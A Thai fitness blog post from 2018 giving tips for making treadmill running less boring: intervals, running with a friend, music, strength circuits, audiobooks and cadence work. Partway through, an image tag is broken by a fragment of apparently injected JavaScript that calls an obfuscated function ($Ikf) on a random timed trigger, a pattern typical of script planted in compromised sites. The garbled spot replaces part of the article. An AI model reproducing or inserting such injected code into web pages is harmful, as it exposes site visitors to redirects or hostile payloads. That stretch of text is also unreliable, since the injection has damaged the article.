• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

วิธีง่ายๆ เพื่อเพิ่มความสนุกให้การวิ่ง Treadmill (ลู่วิ่ง)

kan by kan
12 September 2018
in Running Tips, Tips & Technics
0
วิธีง่ายๆ เพื่อเพิ่มความสนุกให้การวิ่ง Treadmill (ลู่วิ่ง)
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ปกติเวลาเราเข้าวิ่งในยิม (วิ่งบนลู่วิ่ง) เรามักจะหาวิธีเเก้เบื่อขณะวิ่งด้วยการดูทีวีที่ติดไว้ให้ หรือจะดู Youtube และ Netflix ผ่านโทรศัพท์มือถือซึ่งเป็นเรื่องปกติทั่วไป เเต่วันนี้เราจะนำเสนอวิธีฆ่าความน่าเบื่ออื่นๆ นอกเหนือจากการดูทีวี

วิธีง่ายๆ เพื่อเพิ่มความสนุกให้การวิ่ง Treadmill (ลู่วิ่ง)

  1. Interval workout

ถ้าการวิ่งเราใช้ความเร็วคงตลอดเวลา (วิ่ง Pace คงที่) มันเรื่องที่น่าเบื่อ ทดลองเพิ่มความสนุกโดยการฝึกวิ่งแบบ Interval ดู ตัวอย่างเช่น วอร์มอัพ 5 นาที ตามด้วย Interval 3 เซต เซตละ 4 นาที (วิ่งเร็ว 2 นาทีและวิ่งเบาๆ เพื่อ recovery 2 นาที) หลังจบแล้วก็ทำคูลดาว์นอีก 5 นาที

  1. พาเพื่อนไปด้วย

ข้อดีอีกอย่างของการวิ่งบนลู่วิ่งคือ เราสามารถวิ่งไปด้วยและพูดคุยไปด้วยโดยไม่ต้องกังวลถึงสิ่งกีดขว้างที่อยู่ข้างหน้าเหมือนการวิ่งในสวนสาธารณะ การวิ่งกับเพื่อนจะเป็นการช่วยกระตุ้นต่อมแรงบันดาลใจได้อย่างดี เพื่อนจะช่วยกันลากเพื่อนให้วิ่งจนจบ และเราจะวิ่งเร็วขึ้นอย่างไม่รู้ตัว เพราะ Pace ของเราจะถูกรบกวนด้วย Pace ของเพื่อน เราจะมีโอกาสฝึกวิ่งผสมผสานความเร็วช้าผสมกันไป

  1. ฟังเพลง

หากไม่มีเพื่อนไปวิ่งด้วย อีกหนึ่งอุปกรณ์เสริมที่จะช่วยให้การวิ่งเราสนุกได้คือ การฟังเพลงระหว่างวิ่งไปด้วย การเลือกเพลงก็แนะนำให้เลือกเพลงที่มีจังหวะบีต (beat) สูงๆ ซึ่งส่วนมากจะเป็นเพลงเร็ว และพยายามหาเพลงอื่นๆ มาขั้น ให้มีบีตช้าสลับกัน ยิ่งเพลงมีจังหวะบีตเร็ว เราก็จะวิ่งเร็วตามบีต จัดหนึ่ง Playlist ให้ได้ประมาณ 15-30 นาทีเน้นช้าเร็วสลับกันไปเพื่อให้เราปรับจังหวะฝีเท้าตามเพลง ฝึกวิ่งแบบ Speedplay ไปในตัว

  1. วิ่งผสมฝึกกล้ามเนื้อ

ฝึกวิ่งและวิ่งกล้ามเนื้อ (Strength training) ไปด้วยกัน เริ่มจากการวอร์มอัพ 5 นาที ตามด้วยวิ่ง Pace สบายๆ เบาๆ อีก 5 นาที หลังจจากนั้นก้างลงจากลู่วิ่งเพื่อฝึกกล้ามเนื้ออีก 2 นาที อย่างเช่นการฝึก crunches, push-ups, side-crunches และ lunges. พยาเเยกการฝึกกล้ามเนื้อที่ช่วยเสริมความเเข็งเเกร่งให้การวิ่ง ฝึกกล้ามเนื้อ core และ lower เป็นต้น ทำอย่างนี้สัก 4 เซต เเล้วจบด้วยการคูลดาวน์เเละยืดเยียด

  1. ฟัง Audiobook

สำหรับนักวิ่งที่ต้องการฝึกวิ่งเเบบ Long run ต้องการใช้ความเร็วคงที่ที่สุดเเละประคองให้นิ่งเป็นระยะเวลานานๆ เราเเนะนำให้ใช้วิธีการฟัง Audiobook แทนที่การฟังเพลงเพราะ เพลงมีจังหวะบีตไม่คคงที่ มีช้าสลับเร็วซึ่งส่งผลต่อการรักษาความเร็วของนักวิ่ง ดังนั้นการฟัง Audio Book จึงเป็นตัวเลือกที่เเนะนำอันดับเเรกๆ ไม่มีการปรับหรือกระชากจังหวะบีตอันจะรบกวน Pace นักวิ่งได้ แถม Audiobook จะมีเนื้อหาเยอะกินเวลานานกว่าจะจบ เหมาะกับการวิ่ง Long run มาก

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande-592914-unsplash.jpg” alt=”” width=”1000″ height=”666″ />

การวิ่งเพื่อปรับฟอร์มการวิ่งก็สามารถเป็นหนึ่งในหัวข้อ วิ่งบนลู่วิ่งอย่างไรไม่ให้น่าเบื่อ ได้เช่นกัน นักวิ่งสามารถปรับความเร็วของลู่วิ่งให้เหมาะสมกับระดับทักษะการวิ่งได้ตามสะดวก หรือหากต้องการให้ถูกหลักทั่วไปก็คือปรับความเร็วบังคับให้เราต้องวิ่ง 180 step/min ซึ่งถือว่าเป็นการวิ่งที่มีประสิทธิภาพหรือ Running economy ที่ดีที่สุด ทดลองดูว่าเราสามารถประคองหรือไปถึงระดับนี้หรือยัง เเละขณะที่วิ่งก็โฟกัสสมาธิไปที่การปรับฟอร์ม ณ ความเร็วนี้ด้วย

 

อ้างอิง www.verywellfit.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • เกร็ดความรู้กับล้อจักรยาน

    0 shares
    Share 0 Tweet 0
  • หนึ่งวันก่อนวันวิ่งแข่งขัน เราควรซ้อมวิ่งหรือไม่วิ่งซ้อมวิ่งดี!!?

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.